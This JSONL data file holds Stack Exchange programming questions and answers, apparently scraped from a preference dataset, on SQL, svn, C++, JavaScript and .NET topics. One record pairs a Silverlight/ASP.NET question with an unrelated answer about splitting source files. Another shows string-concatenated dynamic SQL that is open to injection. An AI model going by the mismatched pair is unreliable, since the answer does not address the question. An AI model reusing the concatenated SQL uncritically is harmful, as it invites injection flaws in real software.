{"id": "hf_73dbba35841e", "question": "<p>There's a requirement that we will need to support querying a local SQL Server database for new data when the database is updated.  Since these are external SQL Server databases, we may not be able to use SQL Server Notification Services nor can we make any changes to the database.   </p>\n\n<p>My basic idea is to watch for data being written to the database to trigger a query (instead of polling at set intervals).  However, I'm having a tough time trying to figure out how I could get the WriteFile call from the SqlServr.exe process (as can be monitored in tools such as Sysinternals' Process Monitor).  Can anyone direct me to which Win32 functions may be able to help me with this? </p>\n", "question_body": "", "answer": "I don't think going through the file system would be the best option. Even if you could get access to file system activity, I would think it would be difficult to discern what file operation added data vs any other type of file activity like maintenance, index defrags, etc.\nA possible alternative would be to look into the\nMicrosoft.SqlServer.Management.Trace Namespace\nas a mechanism to hook into SQL Server and look for the specific events that you want to respond to. I would be cautions however of the performance impact this may cause.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.784702"}
{"id": "hf_c1809983c60e", "question": "<p>Currently I have subversion set up so that when I make changes in Eclipse PDT, I can commit the changes and they will be saved in /home/administrator/<em>Project File</em>.  This file has the /branches /tags and /trunk directories recommended by subversion.  I have no problem properly uploading files to the repository, but do I have to \"mv\" the files in Linux to /var/www in order to make them live on the server?  Is there an automatic process to do this that I am missing?  I'm assuming we don't want to make the /var/www directory (which is live on the machine) the repository, but I don't know.</p>\n", "question_body": "", "answer": "You can do an\n```\nsvn export\n```\ninto your www directory. That will give you a \"clean\" version of your repo, without the .svn directories.\n```\n```\ncd /var/www\nsvn export /home/administrator/MyProject/trunk MyProject\n```\n```\nEdit: adding in some good ideas from the comments...\nSome options for when you want to update your exported copy:\nrun\n```\nsvn export --force /home/...../ MyProject\n```\nthis will stop it complaining about overwriting the existing files. This method will mean that if you delete a file from your repository, it'll still remain in your www folder.\nchange your SVN command to export into a new directory each time:\n```\nsvn export /home/..../ MyProject_20081105\n```\nand then create a symlink to that folder:\n```\nln -s MyProject_20081105 MyProject\n```\nJust delete and recreate the symlink each time you \"release\". In this case, the export directory doesn't need to be in the\n```\nwww\n```\nfolder at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.893139"}
{"id": "hf_227c17611aee", "question": "<p>I have 15 stored procedures that return data from a common table and then join that table with a specific table to retrieve inventory.</p>\n\n<p>Example:</p>\n\n<pre><code>Common: tblCommon\nSpecific: tblSpecific\n</code></pre>\n\n<p>Is there way I can pass the name \"tblSpecific\" into a single stored procedure as a variable, like the following?</p>\n\n<pre><code>SELECT ....\nFROM tblCommon c\nINNER JOIN @TABLE s on c.primaryKey = s.foreignKey\n</code></pre>\n", "question_body": "", "answer": "Yep, you can generate an SQL statement dynamically and then execute it.\nFor example,\n```\n```\nDECLARE @specificTableName nvarchar(50)\nDECLARE @specificColumnName nvarchar(50)\n\nSET @specificTableName = 'tblSpecific'\nSET @specificColumnName = 'colSpecific'\n\nDECLARE @sql nvarchar(4000)\n\nset @sql = 'SELECT ... FROM tblCommon c INNER JOIN ' +\n@specificTableName + ' s ON c.PrimaryKey = s.' + @specificColumnName\n\nexec (@sql)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.931049"}
{"id": "hf_d13b2dac9c2f", "question": "<p>Alright. I have a query that looks like this:</p>\n\n<pre><code>SELECT\n    SUM(`order_items`.`quantity`) as `count`,\n    `menu_items`.`name`\nFROM \n    `orders`,\n    `menu_items`,\n    `order_items` \nWHERE \n    `orders`.`id` = `order_items`.`order_id` AND \n    `menu_items`.`id` = `order_items`.`menu_item_id` AND \n    `orders`.`date` &gt;= '2008-11-01' AND \n    `orders`.`date` &lt;= '2008-11-30' \nGROUP BY \n    `menu_items`.`id`\n</code></pre>\n\n<p>The purpose of this query is to show the amount of items sold in a given date range. Although this works, I now need it to show a <code>count</code> of <code>0</code> if a particular item has no sales in the date range. I tried using <code>COALESCE</code> around the <code>SUM</code> but that didn't do the trick, and I didn't really expect it to. Anyhow, does anyone know how I would go about accomplishing this? I'm having one of those moments where I feel like I should know this but I can't think of it.</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "Randy's answer is close, but the where statement removes any mention of those items not part of any orders in that date range.\nNote that \"left join\" is different to linking tables in the where clause in the manner you have done (i.e. inner joins). I suggest you read up on the different types of SQL joins (inner, outer, cross).\nIn essense, you need to join the data you get from Randy's query against your source list of items. Using a subselect will do this:\n```\n```\nSELECT\n    name\n    , nvl(count, 0) as count\nFROM \n    menu_items items \n    LEFT JOIN (\n        SELECT\n            menu_items.id\n            , SUM(order_items.quantity) as count\n        FROM \n            menu_items\n            LEFT JOIN order_items ON menu_items.id = order_items.menu_item_id\n            LEFT JOIN orders ON orders.id = order_items.order_id\n        WHERE\n            \"date\" between to_date('2008-11-01','YYYY-MM-DD') and to_date('2008-11-30','YYYY-MM-DD')\n        GROUP BY\n            menu_items.id\n    ) counts on items.id = counts.id;\n```\n```\nThis is in Oracle 10g BTW. I doubt you're using Oracle, so you'll need to convert to your own database.\nRunning a test shows the following:\n```\n```\nSQL> create table menu_items ( id number, name varchar2(10));\ncreate table order_items (order_id number, menu_item_id number, quantity number);\ncreate table orders (id number, \"date\" date);\n\nTable created.\n\nSQL> \nTable created.\n\nSQL> \nTable created.\n\nSQL> \ninsert into menu_items values (1, 'bread');\ninsert into menu_items values (2, 'milk');\ninsert into menu_items values (3, 'honey');\ninsert into menu_items values (4, 'cheese');\nSQL> \n1 row created.\n\nSQL> \n1 row created.\n\nSQL> \n1 row created.\n\nSQL> \n1 row created.\n\nSQL> \ninsert into orders values (1, to_date('2008-11-02', 'YYYY-MM-DD'));\ninsert into orders values (2, to_date('2008-11-03', 'YYYY-MM-DD'));\ninsert into orders values (3, to_date('2008-10-29', 'YYYY-MM-DD'));SQL> \n1 row created.\n\nSQL> \n1 row created.\n\nSQL> \ninsert into order_items values (1, 1, 1);\ninsert into order_items values (1, 3, 1);\n1 row created.\n\nSQL> \n1 row created.\n\nSQL> \ninsert into order_items values (2, 1, 1);\ninsert into order_items values (2, 2, 1);\ninsert into order_items values (2, 3, 1);\n\ninsert into order_items values (3, 4, 10);\n1 row created.\n\nSQL> \n1 row created.\n\nSQL> \n1 row created.\n\nSQL> \n1 row created.\n\nSQL> SQL> \n\n1 row created.\n\nSQL> \nSELECT\n    name\n    , nvl(count, 0) as count\nFROM \n    menu_items items \n    LEFT JOIN (\n        SELECT\n            menu_items.id\n            , SUM(order_items.quantity) as count\n        FROM \n            menu_items\n            LEFT JOIN order_items ON menu_items.id = order_items.menu_item_id\n            LEFT JOIN orders ON orders.id = order_items.order_id\n        WHERE\n            \"date\" between to_date('2008-11-01','YYYY-MM-DD') and to_date('2008-11-30','YYYY-MM-DD')\n        GROUP BY\n            menu_iteSQL>   2    3    4    5    6    7  ms.id\n    ) counts on items.id = counts.id;  8    9   10   11   12   13   14   15   16   17   18  \n\nNAME            COUNT\n---------- ----------\nbread               2\nmilk                1\nhoney               2\ncheese              0\n\nSQL> \ndrop table menu_items;\ndrop table order_items;\ndrop table orders;SQL> \nTable dropped.\n\nSQL> \nTable dropped.\n\nSQL> \n\nTable dropped.\n\nSQL>\n```\n```\nPS: It's bad practice to use 'date' as a column name as it is (in most cases) a type name and can cause problems to queries and parses.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.981080"}
{"id": "hf_0fb486a928c9", "question": "<p>The first batch file launches a command prompt, i need the second command to be in the ccontext of the first.  how can I do this in python?</p>\n\n<p>As is, it launches the batch, and blocks until the batch (with its command prompt context) terminates, and then executes <code>devenv</code> without the necessary context.</p>\n\n<pre><code>os.system(r'%comspec% /k \"\"C:\\Program Files\\Microsoft Visual Studio 9.0\\VC\\vcvarsall.bat\"\" x86')\nos.system(r'devenv asdf.sln /rebuild Debug /Out last-build.txt')\n</code></pre>\n\n<p>think of it as in i'm in bash, and i need to execute a command in a perl context, so i type <code>perl -c 'asdf'</code>.  executing perl and asdf back to back won't work, i need to get the <code>devenv</code> inside of the perl context.</p>\n", "question_body": "", "answer": "You could append the devenv command onto the end of the original batch file like so:\n```\n```\n'%comspec% /k \"...vcvarsall.bat\" x86 && devenv asdf.sln /rebuild ...'\n```\n```\n(obviously I have shortened the commands for simplicity's sake)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.018610"}
{"id": "hf_0d473b1c8baa", "question": "<p>Is there a way to create a Distinct query in HQL.  Either by using the \"distinct\" keyword or some other method.  I am not sure if distinct is a valid keywork for HQL, but I am looking for the HQL equivalent of the SQL keyword \"distinct\".</p>\n", "question_body": "", "answer": "Here's a snippet of hql that we use. (Names have been changed to protect identities)\n```\n```\nString queryString = \"select distinct f from Foo f inner join foo.bars as b\" +\n                \" where f.creationDate >= ? and f.creationDate < ? and b.bar = ?\";\n        return getHibernateTemplate().find(queryString, new Object[] {startDate, endDate, bar});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.107552"}
{"id": "hf_09c18e6cc1e3", "question": "<p>I have been searching for a way to allow one element of my FileHelpers mapping class to be an array of specific length.</p>\n\n<p>For instance, I have a class like this:</p>\n\n<pre><code>[DelimitedRecord(\",\")]\npublic class Example\n{\n    public string code;\n    public int month;\n    public int day;\n    public double h1;\n    public double h2;\n    public double h3;\n    public double h4;\n}\n</code></pre>\n\n<p>The values h1-h4 would really make more sense as an array simply called 'h'.  It would make processing the file a little easier as well.\nI also know that the file I am reading will always have these, and only these, fields in it.</p>\n\n<p>Has anyone figured out a way to include arrays in your FileHelper mapping classes?</p>\n", "question_body": "", "answer": "I don't know anything about the tool in question, but (assuming it isn't a limitation of the tool) I\nreally\ndoubt the wisdom of public fields. Properties would also give you the opportunity to shim the values:\n```\n```\n[DelimitedRecord(\",\")]\npublic class Example\n{\n    public string Code {get;set;}\n    public int Month {get;set;}\n    public int Day {get;set;}\n\n    private readonly double[] h = new double[4];\n\n    public double H1 {get {return h[0];} set {h[0] = value;}}\n    public double H2 {get {return h[1];} set {h[1] = value;}}\n    public double H3 {get {return h[2];} set {h[2] = value;}}\n    public double H4 {get {return h[3];} set {h[3] = value;}}\n}\n```\n```\nAgain - I have no idea if the tool would support this, but it would be a viable way of implementing it. Of course, the \"h\" values would do just as well (actually, slightly more efficient - no array on the heap and no de-reference) as direct members:\n```\n```\npublic double H1 {get;set;}\n    public double H2 {get;set;}\n    public double H3 {get;set;}\n    public double H4 {get;set;}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.156983"}
{"id": "hf_e5025e3c76a6", "question": "<pre><code>AlertEvent::AlertEvent(const std::string&amp; text) :\n    IMEvent(kIMEventAlert, alertText.c_str()),\n    alertText(text)\n{\n    //inspection at time of crash shows alertText is a valid string\n}\n\n\nIMEvent::IMEvent(long eventID, const char* details)\n{\n    //during construction, details==0xcccccccc\n}\n</code></pre>\n\n<p>on a related note, the monospace font looks really terrible in chrome, whats up with that?</p>\n", "question_body": "", "answer": "The IMEvent constructor is called before alertText's constructor is called. In particular therefore its argument\n```\nalertText.c_str()\n```\nis evaluated before alertText's constructor is called. This ain't good.\nInitializer expressions are called in the order that the things being initialized are declared (not necessarily the order the initializers are listed). So parent classes first, then members. Compilers sometime helpfully warn you if you don't list the initializers in the order they will actually be executed. So provided you get that right, the rule is \"don't use anything you haven't initialized\". This code uses alertText before it is initialized.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.195309"}
{"id": "hf_d99610e66e01", "question": "<p>I am trying to get the DataGridView to render the \"insert new row\" row as the first row in the grid instead of the last row. How do I go about doing that, is it even possible in the control?</p>\n", "question_body": "", "answer": "I don't think there is any way to move the \"new row\" row to the top of the data grid.\nBut, what if you left the top row empty and as the data filled in move the row down as appropriate?  In other words, make your own \"new row\" row, which is just first row in the grid and add new blank rows above when editing is over.\n```\n```\nDim myrow = existingDataTable.NewRow\n\n    existingDataTable.Rows.Add(myrow)\n\n    adp.Fill(existingDataTable)\n    With DataGridView1\n        .DataSource =existingDataTable\n    End With\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.233231"}
{"id": "hf_e0599842f57f", "question": "<p>I have N items of 2D image data that will be rectangular and I want to pack them into a single power of 2 texture as efficiently as possible.</p>\n\n<p>A simple non-efficient and naive implementation of an algorithm to pack these rects would be easy to whip up, but I'm sure people have come up with algorithms to do this as space efficiently as possible.  I've found various references to lightmap packing which is similar to what I'm looking for, but the algorithms for lightmapping tend to take non-rectangular images into account which actually complicates things more than I need them to be.</p>\n\n<p>Does anyone have hints? Names of algorithms or paper authors I should google?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Your problem in 1D is called Bin Packing. Perhaps that's a good start for your search.\nNote that the problem you want to solve is really hard (it is NP-hard). So you should not search for the optimal solution, but some clever heuristical algorithm.\nI think bottom-up dynamic programming is possible for 1D bin packing, but not for the 2D case.\nYou could think of simplifying your problem by only solving the 1D problem, making restrictions like cutting the textures into several (variable sized) slices in 1 dimension.\nAnother possiblity is running meta-heuristic optimization on it, like Evolutionary Algorithms or Particle Swarm Optimization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.270392"}
{"id": "hf_9121c5a73b53", "question": "<p>For my small wiki application, I mostly need to have the textarea used to edit the contents to use soft (or virtual) wrapping. However, in some cases, not wrapping the content would be preferable. I thought I would do this by simply having a button to turn off wrapping. Here is the simplified code:</p>\n\n<pre><code>  &lt;form name=\"wikiedit\" action=\"[[script_name]]\" method=\"post\"&gt;\n    &lt;textarea name=\"content\" rows=\"25\" cols=\"90\" wrap=\"virtual\"&gt;[[content]]&lt;/textarea&gt;\n    &lt;input type=\"button\" onclick=\"document.wikiedit.content.wrap='off';\" value=\"No Wrap\"&gt; &amp;nbsp;\n    &lt;input type=\"submit\" value=\"Save\"&gt;\n  &lt;/form&gt;\n</code></pre>\n\n<p>It works with IE, but not with Firefox or Opera. How should I do this?</p>\n", "question_body": "", "answer": "According to\nthe HTML 4.01 spec\n,\n```\nwrap\n```\nisn't a valid attribute for\n```\n<textarea>\n```\ns which would explain why it's so difficult and strange. It looks as though Firefox actually does use the\n```\nwrap\n```\nattribute, but it won't let you change it.\nI do have a solution though! It's pretty awful, but here it is. Completely replace the textarea with a new one.\n```\n```\n// this is the onclick handler for your button\ndocument.getElementById(\"nowrapButton\").onclick = function() {\n  var oldOne = this.form.content;  // the old textarea\n  var newOne = document.createElement('textarea'); // the new textarea\n  var attrs = ['name', 'rows', 'cols']; // these are the attributes to keep\n  for (var i = 0; i < attrs.length; ++i) {\n    // copy the attributes to the new one\n    newOne.setAttribute(attrs[i], oldOne.getAttribute(attrs[i]));\n  }\n\n  // toggle the wrapping on and off\n  if (oldOne.getAttribute('wrap') != 'off') {\n    newOne.setAttribute('wrap', 'off');\n  }\n\n  // copy the text over\n  newOne.value = oldOne.value;\n\n  // add the new one\n  oldOne.parentNode.insertBefore(newOne, oldOne);\n  // get rid of the old one\n  oldOne.parentNode.removeChild(oldOne);\n  return false;\n};\n```\n```\nHere's a working version of this you can play with:\nhttp://jsbin.com/ugepa\nAs usual, this'd be much nicer in jQuery. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.295195"}
{"id": "hf_05795b68745e", "question": "<p>In the following code I loop through a map and test if an element needs to be erased.  Is it safe to erase the element and keep iterating or do I need to collect the keys in another container and do a second loop to call the erase()?</p>\n\n<pre><code>map&lt;string, SerialdMsg::SerialFunction_t&gt;::iterator pm_it;\nfor (pm_it = port_map.begin(); pm_it != port_map.end(); pm_it++)\n{\n    if (pm_it-&gt;second == delete_this_id) {\n        port_map.erase(pm_it-&gt;first);\n    }\n}\n</code></pre>\n\n<p>UPDATE: Of course, I then <a href=\"https://stackoverflow.com/questions/52714/stl-vector-vs-map-erase\">read this question</a> which I didn't think would be related but answers my question.</p>\n", "question_body": "", "answer": "C++11\nThis has been fixed in C++11 (or erase has been improved/made consistent across all container types).\nThe erase method now returns the next iterator.\n```\n```\nauto pm_it = port_map.begin();\nwhile(pm_it != port_map.end())\n{\n    if (pm_it->second == delete_this_id)\n    {\n        pm_it = port_map.erase(pm_it);\n    }\n    else\n    {\n        ++pm_it;\n    }\n}\n```\n```\nC++03\nErasing elements in a map does not invalidate any iterators.\n(apart from iterators on the element that was deleted)\nActually inserting or deleting does not invalidate any of the iterators:\nAlso see this answer:\nMark Ransom Technique\nBut you do need to update your code:\nIn your code you increment pm_it after calling erase. At this point it is too late and is already invalidated.\n```\n```\nmap<string, SerialdMsg::SerialFunction_t>::iterator pm_it = port_map.begin();\nwhile(pm_it != port_map.end())\n{\n    if (pm_it->second == delete_this_id)\n    {\n        port_map.erase(pm_it++);  // Use iterator.\n                                  // Note the post increment.\n                                  // Increments the iterator but returns the\n                                  // original value for use by erase \n    }\n    else\n    {\n        ++pm_it;           // Can use pre-increment in this case\n                           // To make sure you have the efficient version\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.319732"}
{"id": "hf_c1847071dc3a", "question": "<p>Can I convert a string representing a boolean value (e.g., 'true', 'false') into a intrinsic type in JavaScript?</p>\n\n<p>I have a hidden form in HTML that is updated based upon a user's selection within a list. This form contains some fields which represent boolean values and are dynamically populated with an intrinsic boolean value. However, once this value is placed into the hidden input field it becomes a string.</p>\n\n<p>The only way I could find to determine the field's boolean value, once it was converted into a string, was to depend upon the literal value of its string representation.</p>\n\n<pre><code>var myValue = document.myForm.IS_TRUE.value;\nvar isTrueSet = myValue == 'true';\n</code></pre>\n\n<p>Is there a better way to accomplish this?</p>\n", "question_body": "", "answer": "Do:\n```\n```\nvar isTrueSet = (myValue === 'true');\n```\n```\nusing the identity operator (\n```\n===\n```\n), which doesn't make any implicit type conversions when the compared variables have different types.\nThis will set\n```\nisTrueSet\n```\nto a boolean\n```\ntrue\n```\nif the string is \"true\" and boolean\n```\nfalse\n```\nif it is string \"false\" or not set at all.\nDon't:\nYou should probably\nbe cautious about using these two methods\nfor your specific needs:\n```\n```\nvar myBool = Boolean(\"false\");  // == true\n\nvar myBool = !!\"false\";  // == true\n```\n```\nAny string which isn't the empty string will evaluate to\n```\ntrue\n```\nby using them. Although they're the cleanest methods I can think of concerning to boolean conversion, I think they're not what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.393318"}
{"id": "hf_abd57ca84467", "question": "<p>What's the best way to convert NetBeans (Matisse) .form files into .java files, without using the NetBeans IDE itself? Ideally I'd like to package the .form files along with my source code, and generate the .java files at build time. This will prevent developers from \"accidentally\" adding code to the generated .java file using some other IDE, which could then get overwritten by NetBeans the next time the form itself is edited in the GUI designer.</p>\n\n<p>I've searched Google and all I can find is people saying, \"Use the NetBeans IDE to generate the .java file,\" which is kind of difficult to do at build-time.</p>\n", "question_body": "", "answer": "Well, actually having to fight with \"accidental\" addition of codes is more a problem of process rather than a problem with technology. My steps would be:\nPrevent committing the generated .java files in the CVS/SVN repository\nEmbed matisse form generation in a continuous integration project.\nFor step 1:\nUse a sensible naming convention and stick with the standard for all the gui object, e.g.: put all the forms inside a common package and use the .svnignore directive on java files in it.\nFor step 2:\nFabrizio Giudici has a nice tutorial on how to build a netbeans project (yes using matisse) inside a continuous integration environment.\nhttp://weblogs.java.net/blog/fabriziogiudici/archive/2006/11/setting_up_netb.html\nNote that he talks about installing netbeans first on a machine with a gui then moving the jar files in an headless machine. IIRC it was possible to install Netbeans version 4.x in an headless environment without using the gui (since it is a java application, the only steps to do were to unzip the files and create a sensible shell file launching the application with the correct jvm/classpath combo).\nAnyway, if you can't enforce both rules, or you can't find how to generate the matisse artifacts in the CI server, consider the possibility to scrap the use of matisse entirely.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.417897"}
{"id": "hf_d147b593998d", "question": "<p>Yeah, I know the title is a mouthful...</p>\n\n<p>What I mean is to say is how do you communicate with a subject matter expert who needs a theory coded and tested?</p>\n\n<p>For example, weather simulation is a collaboration between meteorologists, computer scientists, and software engineers.  The computer scientists and software engineers generally speak the same language, but he meteorologist is in a completely different world.</p>\n\n<p>How do you increase the level of communication and understanding between disciplines?  And not necessarily just for weather, other sciences too.</p>\n", "question_body": "", "answer": "The shortest possible answer is Continuous customer involvement.\nAll the pretty UML diagrams, crayola UI mockups, explanations-to-four-year-olds and other techniques will never give the full experience of using a working application. Keeping the consumer in the loop allows for a feedback cycle both to the client, and from the client to you.  This symbiotic relationship has the greatest likelyhood of producing a product that will be useful to them.\nIf you go into a box and come out with a product that you think they need it will likely be a whole lot of what they don't want.  By regularly demoing your product you limit the impact of any misunderstanding, so that you don't spend too much time going down the wrong path.\nIt can be compared to dead reckoning. If you blindfold yourself and try to navigate through an area you know, the error between where you are and where you think you are will accumulate with time.  If, however, you take off the blindfold periodically you can update your mental location.  There will still be an error factor, but you are eliminating the accumulating error factor.\nEven if you think your communication/explanatory skills are top notch, you still have to account for error in the way they communicate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.454461"}
{"id": "hf_f9456618c4b1", "question": "<p>I have a Delphi 5 executable that calls into a .NET assembly via the free <a href=\"http://sourceforge.net/projects/delphinet/\" rel=\"nofollow noreferrer\">Delphi .NET</a> code, and for the most part, this works great.  However, one of the requirements of my application is that our clients be able to use this from a networked share as well as local.  On my test machine, I can't get this to work, I just get an error message.  The .NET code has it's permissions set to full, but some error comes back that Delphi can't seem to get or interpret.  On a local drive, the application and assembly communicate flawlessly.</p>\n\n<p>Can anyone tell me how to at least get the error messages back from this?  Or if possible, can anyone tell me why I would get errors this way?  Thanks.</p>\n", "question_body": "", "answer": "You say that you have given the code full permissions, but have you assigned FullTrust to the network share? In .NET, network shares are part of the local intranet domain, so you lose some trust. Run something like;\n```\n```\nCasPol.exe -m -ag 1.2 -url file://\\\\ShawnFa-Srv/Tools/* FullTrust\n```\n```\nFor more info see this post about the topic,\nUsing CasPol to Fully Trust a Share", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.490752"}
{"id": "hf_6845ace6a781", "question": "<p>I don't want to include relations in my edmx entity framework, I want to have the foreign key field as a normal property in my entity. </p>\n\n<p>How can I do that?</p>\n", "question_body": "", "answer": "http://www.thedatafarm.com/blog/2007/09/11/EntityDataModelAssociationsWheresMyForeignKey.aspx\nI found the article describing the error in our ways...\nbasically we never supposed to be querying tables via foreign keys instead \ntake a bit more relational approach\n```\n```\n(From o In nw.Orders \n Where o.OrderID = 10281 \n Select o.Customers\n).First\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.514640"}
{"id": "hf_ba39e49de717", "question": "<p>I find it much easier to write MXML classes with embedded Script than trying to make an actionscript file.</p>\n\n<p>I was wondering however what kind of overhead there is of using an MXML file - in terms of file size. I'm not especially concerned about performance, but if that is relevant would be interested in any findings.</p>\n\n<p>Obviously I'm talking about UI components that have layout. MXML is MUCH easier to visualize and modify but I'm unclear exactly what it compiles down too. I'm hoping there is a negligible difference.</p>\n", "question_body": "", "answer": "If you're going for the same functionality, MXML is not going to make your swf any bigger.\nThe thing that's affecting size is using the Flex SDK and its components. Whether you declare them with MXML or AS3, you're using them and their code is being built into the swf. By the same token, if you're referencing the Flex RSL, and thus avoiding building the Flex stuff directly into your swf, it will be the same size either way. Data Binding does create a lot of events and listeners, so that might cause some bloat, but not any more than if you declared the data binding mechanism with the AS3 utility functions.\nSince MXML does generate intermediate AS3 code, it might be more verbose than you would care to write on your own, so you could see some additional size from that. To peek at it (which is good for understanding in general) you can look at with the compiler directive to keep the generated code.\nFrom:\nhttp://www.flashguru.co.uk/flex-2-compilation-hidden-goodies\nRight-click a Flex Project in the Navigator Panel.\nSelect Properties from the Context Menu.\nSelect Flex Compiler in the Properties Window.\nEnter -keep-generated-actionscript into the ‘Additional compiler\n  arguments’ field.\nClick ‘OK’ to apply the changes.\nBuild your Flex Project by clicking the Run button.\nRight-click your Flex Project again in the Navigator Panel.\nChoose Refresh from the Context-Menu.\nA new folder should appear under your Flex Project in the Navigator\n  Panel, named ‘generated’\nThis is a good thing to do once you get into debugging and profiling your project, since you can really see where the compiler is doing the right (or wrong) thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.574561"}
{"id": "hf_1b9202a66711", "question": "<p>For example: </p>\n\n<p>First, say I have a Silverlight app with Windowless=true so that I can place ASP.NET controls on top of it.  Then I place an ASP.NET button on the page.  How can I have say the text of a control in the Silverlight app change when the user presses the ASP.NET button?  How would I send the Silverlight app an update message from the C# code that catches the Click of the ASP.NET button?</p>\n\n<p>Thanks,\nJeff</p>\n", "question_body": "", "answer": "Splitting the content of your file into multiple files - one file per class may help.\nhttps://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=283434\nUp-to-date link:\nhttps://developercommunity.visualstudio.com/content/problem/389773/vs-2017-keeps-removing-and-re-adding-aspxcodebehin.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.635919"}
{"id": "hf_2ee9faffe8fc", "question": "<p>What is the most efficient way to cacluate the closest power of a 2 or 10 to another number? e.g.</p>\n\n<p>3.5 would return 4 for power of 2 and 1 for power of 10</p>\n\n<p>123 would return 128 for power of 2 and 100 for power of 10</p>\n\n<p>0.24 would return 0.25 for power of 2 and 0.1 for power of 10</p>\n\n<p>I'm just looking for the algorithm and don't mind the language.</p>\n", "question_body": "", "answer": "```\n```\nn^round(log_n(x))\n```\n```\nwhere log_n is the logarithm to base n. You may have to modify the round() depending on how you define \"closest\".\nNote that\n```\nlog_n(x)\n```\ncan be implemented as:\n```\n```\nlog_n(x) = log(x) / log(n)\n```\n```\nwhere\n```\nlog\n```\nis a logarithm to any convenient base.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:15.660391"}
